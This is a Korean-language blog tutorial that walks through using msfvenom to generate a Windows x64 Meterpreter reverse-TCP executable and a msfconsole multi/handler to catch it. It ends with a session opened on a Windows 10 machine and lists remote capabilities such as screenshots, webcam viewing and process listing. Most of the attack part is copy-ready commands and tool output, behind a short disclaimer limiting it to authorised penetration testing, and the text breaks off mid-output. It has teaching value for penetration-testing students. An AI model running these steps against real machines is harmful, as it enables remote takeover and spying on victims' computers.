이 글의 내용은 보호 목적으로 작성되었으며 이 게시물의 정보를 잘못 사용하여 허가되지 않은 pc에 해킹을 시도할 경우
해당 대상에게 형사 고발이 발생할 수 있습니다. 이는 모두 귀하의 책임입니다.
반드시 허가된 모의해킹 환경에서만 시도하세요.
잘못된 내용을 알려주신다면 내용 확인 후 수정하겠습니다
오늘은 칼리 리눅스에 내장되어있는 메타스플로잇에 포함되어있는 msfvenom을 통하여 페이로드를 생성한 후
윈도우 시스템에 침입하는 과정에 대해서 설명해드리겠습니다
Metasploit은 다양한 취약점과 관련하여 메타 데이터를 관리하는 프레임워크이며
H.D.무어에 의해 개발되었으며 오픈소스 기반으로 최신 취약점을 빠르게 업데이트해주고 있습니다
Metasploit에 대해서 더 알고 싶으신 분은 아래 링크를 참고해주세요
Msfvenom은 metasploit에 포함되어있는 프로그램 중 하나로 공격할 때 사용되는 실행파일을 제작하거나 기본 실행파일에 악성파일을 주입하는 것이 가능합니다
오늘 강좌에서는 '칼리 리눅스'운영체제를 사용할 겁니다
만약 설치되어 있지 않으시다면 이전에 업로드한 포스팅을 참고하여 설치해주세요
newstroyblog.tistory.com/30?category=876963
그러면 Reverse Shell(리버스 쉘)은 뭘까?
우선 Shell(쉘)에 대해서 설명하자면 키보드에서 명령을 받아 운영체제에 제공하는 프로그램입니다
쉘의 유형으로는 'Bind Shell'과 오늘 소개해드릴 'Reverse Shell'이 있습니다
우선 바인드 쉘(Bind Shell)은 피해자 쪽의 포트를 열고 해커가 접속하는 방향의 쉘을 바인드 쉘이라고 하며 일반적으로 우리가 서버를 접속하는 방식이랑 같습니다. 하지만 이럴려면 피해자의 컴퓨터에 공용 Ip가 있고 인터넷을 통해 연결할 수 있는 경우에만 가능합니다. NAT설정을 따로 해줘야 합니다 (DMZ, Twin ip)
위 그림을 보면 알 수 있듯이 해커가 열려있는 포트를 통과하여 피해자에게 접근합니다
그렇다면 피해자에게 직접 접근할 수 없다면 어떻게 연결을 할 수 있을까요??
바로 피해자가 직접 공격자의 컴퓨터에 접근하게 할 수 있습니다.
Reverse Shell은 공용 IP를 가지고 있고 인터넷을 통해 접근할 수 있는 공격자의 운영체제가 서버의 역할을 하게 됩니다.
특정 포트를 열어두고 연결이 들어오기를 기다린 후에 피해자는 클라이언트 역할을 하여 공격자의 수신 서버에 연결을 합니다.
이렇게 할 경우 방화벽을 우회할 수 있습니다.
대부분 방화벽을 사용한다고 하더라도 필수 서버의 연결을 제외하고 모든 접속을 차단하더라도 내부에서 외부로 나가는 접속은 허용시키는 경우가 많습니다.
그렇기에 Reverse Shell을 사용하면 Bind Shell의 침입 단점을 보완할 수 있습니다
우선 터미널을 열고 'msfvenom -h'를 입력하면 msfvenom의 옵션을 확인할 수 있습니다
msfvenom -h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--service-name <value> The service name to use when generating a service binary
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
|
그러면 많은 명령어들이 나오는데 여기서 자주 사용하는 옵션들은 아래와 같습니다
-l:리스트
-e:인코딩
-f:파일형식
-a:아키텍쳐
-p:Payload
-i:인코딩 횟수
-o:저장 위치
다음으로 터미널에 msfvenom --l p (l은 list의 줄임말, p는 payload의 줄임말)
혹은 msfvenom --list p 또는 msfvenom --list payload를 입력하여 페이로드 항목을 볼 수 있습니다
페이로드의 종류가 많기에 전부 보여주긴 어려울 거 같습니다
msfvenom --l p
or
msfvenom --list payload
or
msfvenom --list p
or
msfvenom --l payload
or
msfvenom -l -p
다음으로 msfvenom --l f 명령어 혹은 msfvenom --list formats 명령어를 입력하면 다양한 포맷을 확인할 수 있습니다
msfvenom --l f
or
msfvenom --list formats
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
ru@kali:~$ msfvenom --l f
Framework Executable Formats [--format <value>]
===============================================
Name
----
asp
aspx
aspx-exe
axis2
dll
elf
elf-so
exe
exe-only
exe-service
exe-small
hta-psh
jar
jsp
loop-vbs
macho
msi
msi-nouac
osx-app
psh
psh-cmd
psh-net
psh-reflection
python-reflection
vba
vba-exe
vba-psh
vbs
war
Framework Transform Formats [--format <value>]
==============================================
Name
----
base32
base64
bash
c
csharp
dw
dword
hex
java
js_be
js_le
num
perl
pl
powershell
ps1
py
python
raw
rb
ruby
sh
vbapplication
vbscript
|
오늘은 exe 페이로드를 사용할 거기 때문에 이점만 알아두고 넘어갑시다
윈도우64비트 리버스 쉘 페이로드 생성 명령어는 다음과 같습니다
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell.exe
명령어에 대해서 설명하자면 -p는 앞서 언급한 payload를 지정하고 LHOST는 본인의 아이피나 dns주소를 입력합니다
LPORT는 포트를 입력하면 되고 -f는 포맷 형식인데 우리는 exe 페이로드를 제작하기 위해 exe를 입력하였고 마지막으로 -o는 shell.exe로 페이로드를 생성한다는 의미입니다
여기서 -o /root/shell.exe 로 변경할 경우 루트 디렉터리 안에 shell.exe라는 이름으로 생성되게 됩니다
우선 본인의 아이피는 터미널에서 ifconfig명령어로 확인할 수 있습니다
빨간 사각형으로 표시한 부분이 본인의 내부 아이피입니다
그다음 위에 말한 페이로드 생성 명령어로 본인의 아이피를 적은 후 명령어를 입력한 후
파일 관리자에 들어가 보니 shell.exe라고 정상적으로 페이로드가 생성되었습니다
다음으로 터미널 창에 'msfconsole'명령어를 입력해주세요 msfconsole은 리눅스의 shell과 비슷하게 대화형 인터페이스를 제공해줍니다
명령어를 입력하면 이런 창이 뜨면서
이렇게 열리게 됩니다
다음과 같이 명령어를 입력해줍니다
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST IP
set LPORT port
이후에 정상적으로 입력했나 확인하기 위하여
options 혹은 show options 명령어를 입력하면
이렇게 아이피와 포트가 정상적으로 나옵니다
이제 마지막으로 'run'명령어를 입력 후에 엔터를 입력하면 됩니다
이렇게 나오면 정상적으로 헨들러가 실행됐습니다
이제 아까 생성해둔 payload를 윈도우환경에 옮긴 후에 실행해보겠습니다
윈도우10에 페이로드 shell.exe를 옮긴 후에 실행해보았습니다
그러면 세션 한 개가 열렸다고 칼리 리눅스에 표시됩니다
여기서 help명령을 입력하게 되면
다양한 명령어들이 포함되어 있습니다
오디오 파일을 재생시키거나 디렉터리 내부를 본다거나 프로세스 항목을 보거나 상대 화면을 보거나 웹캠을 보거나 할 수 있습니다
많은 명령어 중에 스크린샷 명령어를 입력하게 되면
스크린샷 이미지가 저장되며 피해자의 컴퓨터 화면을 볼 수 있습니다
마지막으로 sessions -h 명령어를 입력하면
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
msf5 exploit(multi/handler) > sessions -h
Usage: sessions [options] or sessions [id]
Active session manipulation and interaction.
OPTIONS:
-C <opt> Run a Meterpreter Command on the session given with -i, or all
-K Terminate all sessions
-S <opt> Row search filter.
-c <opt> Run a command on the session given with -i, or all
-d List all inactive sessions
-h Help banner
-i <opt> Interact with the supplied session ID
-k <opt> Terminate sessions by session ID and/or range
-l List all active sessions
-n <opt> Name or rename a session by ID
-q Quiet mode
-s <opt> Run a script or module on the session given with -i, or all
-t <opt> Set a response timeout (default: 15)
-u <opt> Upgrade a shell to a meterpreter session on many platforms
-v List all active sessions in verbose mode
<span style="color: #
|